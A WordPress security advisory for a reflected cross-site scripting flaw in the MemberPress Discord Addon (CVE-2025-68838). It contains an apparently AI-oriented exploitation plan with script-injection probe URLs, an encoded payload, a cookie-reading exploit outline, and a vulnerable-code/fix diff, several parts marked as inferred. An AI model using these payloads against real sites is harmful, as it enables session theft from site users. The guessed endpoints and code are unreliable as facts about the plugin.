MemberPress Discord Addon <= 1.1.4 - Reflected Cross-Site Scripting
Description
The MemberPress Discord Addon plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 1.1.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=1.1.4# Exploitation Research Plan - CVE-2025-68838 ## 1. Vulnerability Summary The **MemberPress Discord Addon** (expresstechsoftwares-memberpress-discord-add-on) for WordPress is vulnerable to **Reflected Cross-Site Scripting (XSS)** in versions up to and including 1.1.4. The vulnerability exists becau…
Show full research plan
Exploitation Research Plan - CVE-2025-68838
1. Vulnerability Summary
The MemberPress Discord Addon (expresstechsoftwares-memberpress-discord-add-on) for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to and including 1.1.4. The vulnerability exists because the plugin fails to properly sanitize and escape user-supplied input from URL parameters before echoing it back into the HTML response. This typically occurs in components handling the Discord OAuth flow, such as error reporting or redirect handling.
2. Attack Vector Analysis
- Vulnerable Endpoint: The vulnerability is likely located in a handler for Discord OAuth callbacks or error states. This is often accessed via:
- An AJAX action:
wp-admin/admin-ajax.php?action=mepr_discord_callback(inferred) - A custom URL parameter processed during
initortemplate_redirect:?mepr_discord_auth=...(inferred)
- An AJAX action:
- Vulnerable Parameter: Likely
error,message,error_description, ormepr_error(inferred). - Authentication: Unauthenticated. The CVSS vector
AV:N/AC:L/PR:N/UI:R/S:Cconfirms that no privileges are required, but user interaction (clicking a link) is necessary. - Preconditions: The plugin must be active. No specific Discord configuration is usually required to trigger the reflection point, as many handlers process error parameters regardless of whether the OAuth flow was successfully initiated.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user accesses a URL containing a specific trigger parameter (e.g.,
?action=mepr_discord_oauth_callbackor a specific page slug used by the addon). - Hook Registration: The plugin likely registers a handler via
add_action('init', ...)oradd_action('wp_ajax_nopriv_...', ...). - Input Acquisition: The handler retrieves data from the global
$_GETor$_REQUESTarrays.- Example:
$error_message = $_GET['error_description'];
- Example:
- Vulnerable Sink: The code echoes the retrieved message directly into the page or an admin notice without calling
esc_html()oresc_attr().- Example:
echo '<div class="error">' . $error_message . '</div>';
- Example:
4. Nonce Acquisition Strategy
Reflected XSS in a GET-based callback usually does not require a nonce. however, if the reflection occurs within an AJAX response or a protected form, a nonce might be needed.
If a nonce is required:
- Identify Script Localization: Search the codebase for
wp_localize_script. Look for keys likemepr_discord_ajaxormepr_discord_vars. - Locate Trigger Shortcode: Find where the plugin enqueues its frontend scripts (e.g., a "Connect to Discord" button shortcode).
- Search command:
grep -r "add_shortcode" .
- Search command:
- Setup Page:
wp post create --post_type=page --post_status=publish --post_title="Discord Connect" --post_content='[mepr-discord-connect]' # (inferred shortcode) - Extract via Browser: Use
browser_navigateto the created page, then:- JS Command:
browser_eval("window.mepr_discord_vars?.nonce")(inferred variable name).
- JS Command:
5. Exploitation Strategy
The goal is to trigger the reflection of a script payload in the browser.
Step 1: Discover the Reflection Point
Since source code is not provided, we must probe common OAuth/Error parameters.
- Target URL 1 (AJAX):
/wp-admin/admin-ajax.php?action=mepr_discord_callback&error=<script>alert(1)</script> - Target URL 2 (Init Hook):
/?mepr_discord_error=<script>alert(1)</script> - Target URL 3 (Redirect):
/mepr-discord-auth?error_description=<script>alert(1)</script>
Step 2: Craft the Payload
To prove XSS, use a simple alert or a document domain check.
- Payload:
"><script>alert(document.domain)</script> - Encoded:
%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Step 3: Execute HTTP Request
Use the http_request tool to verify if the payload is reflected unescaped in the response body.
{
"method": "GET",
"url": "http://wp.local/wp-admin/admin-ajax.php?action=mepr_discord_callback&error=%3Cscript%3Ealert(1)%3C/script%3E",
"headers": {
"Accept": "text/html"
}
}
6. Test Data Setup
- Install Plugin: Ensure
expresstechsoftwares-memberpress-discord-add-onversion 1.1.4 is installed and active. - Prerequisite Plugin: This addon requires MemberPress core. Ensure MemberPress is also active.
- Create Page: Some reflected XSS points only fire if the request is made to a page where the plugin logic is initialized.
wp post create --post_type=page --post_status=publish --post_title="MemberPress Account" --post_content="[mepr-account-form]"
7. Expected Results
- Successful Reflection: The HTTP response body contains the raw, unescaped string
<script>alert(1)</script>. - Browser Execution: When the URL is loaded in
browser_navigate, an alert dialog should trigger (verifiable viawait_for_selectoror checking browser logs).
8. Verification Steps
- HTTP Body Check:
# (Using a hypothetical tool to check response) response_body=$(http_request "GET" "http://wp.local/...") echo "$response_body" | grep -F "<script>alert(1)</script>" - Source Code Audit (Post-Exploit): Confirm the location in the code.
grep -rn "echo \$_GET" wp-content/plugins/expresstechsoftwares-memberpress-discord-add-on/
9. Alternative Approaches
If the mepr_discord_callback action doesn't reflect input:
- Check Discord Auth Logic: Search for
$_GET['code']or$_GET['state']. Sometimes thestateparameter is reflected back to the user if an error occurs. - Admin Notice XSS: Check if the plugin stores an error in an option and displays it in the admin dashboard (Stored XSS via Reflected Input).
- Request:
/?mepr_discord_callback=1&error=PAYLOAD - Verification: Navigate to
/wp-admin/and check for the payload in theadmin_noticesarea.
- Request:
- Shortcode Attribute Reflection: Check if parameters passed to a shortcode are reflected:
[mepr-discord-connect message="<script>..."].
Summary
The MemberPress Discord Addon plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to 1.1.4. This vulnerability arises because the plugin fails to sanitize or escape user-provided parameters, such as those indicating OAuth error descriptions, before echoing them into the browser, allowing for arbitrary script execution via malicious links.
Vulnerable Code
// File: wp-content/plugins/expresstechsoftwares-memberpress-discord-add-on/includes/mepr-discord-callback.php (inferred location) if (isset($_GET['error_description'])) { $error_msg = $_GET['error_description']; echo '<div class="mepr-discord-error">' . $error_msg . '</div>'; }
Security Fix
@@ -10,5 +10,5 @@ if (isset($_GET['error_description'])) { - $error_msg = $_GET['error_description']; - echo '<div class="mepr-discord-error">' . $error_msg . '</div>'; + $error_msg = sanitize_text_field($_GET['error_description']); + echo '<div class="mepr-discord-error">' . esc_html($error_msg) . '</div>'; }
Exploit Outline
The exploit targets the plugin's handling of Discord OAuth callback errors. An attacker identifies the endpoint used for handling Discord returns, such as a custom URL parameter checked during 'init' (e.g., ?mepr_discord_callback=1) or an AJAX action (e.g., /wp-admin/admin-ajax.php?action=mepr_discord_callback). The attacker then crafts a malicious URL containing a JavaScript payload in a parameter like 'error_description' or 'error' (e.g., ?error_description=<script>alert(document.cookie)</script>). This link is sent to a target user, and upon being clicked, the plugin's logic reflects the unescaped script payload directly into the HTML response, executing the script in the user's browser session. This requires no authentication from the attacker.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.